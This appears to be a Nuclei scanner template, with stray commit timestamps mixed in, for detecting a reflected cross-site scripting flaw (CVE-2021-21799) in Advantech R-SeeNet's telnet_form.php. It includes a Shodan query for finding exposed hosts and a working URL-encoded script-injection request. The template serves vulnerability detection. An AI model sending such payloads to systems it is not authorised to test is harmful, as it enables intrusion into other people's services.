2022-08-05 05:55:22 +00:00
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id: CVE-2021-21799
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info:
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name: Advantech R-SeeNet v 2.4.12 - Cross Site Scripting
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author: arafatansari
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severity: medium
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description: |
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Advantech R-SeeNet v 2.4.12 is vulnerable to Refleced Cross Site Scripting in the telnet_form.php script functionality.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270
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2022-08-05 06:06:50 +00:00
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21799
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21799
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2022-08-06 00:08:17 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-21799
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cwe-id: CWE-79
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2022-08-05 05:55:22 +00:00
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metadata:
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2022-08-05 06:06:50 +00:00
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shodan-query: http.html:"R-SeeNet"
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2022-08-06 00:08:17 +00:00
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verified: "true"
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2022-08-05 23:44:09 +00:00
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tags: cve,cve2021,xss,r-seenet
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2022-08-05 05:55:22 +00:00
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requests:
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- method: GET
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path:
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2022-08-05 06:06:50 +00:00
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- "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E"
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2022-08-05 06:04:26 +00:00
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2022-08-05 05:55:22 +00:00
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matchers-condition: and
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matchers:
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- type: word
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2022-08-05 06:14:29 +00:00
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part: body
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2022-08-05 23:44:09 +00:00
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words:
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- "<title>Telnet </title><script>alert(document.domain)</script><title></title>"
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2022-08-05 05:55:22 +00:00
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- type: word
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2022-08-05 23:44:09 +00:00
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part: header
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2022-08-05 05:55:22 +00:00
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words:
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2022-08-05 06:14:29 +00:00
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- "text/html"
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2022-08-05 05:55:22 +00:00
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- type: status
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status:
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- 200
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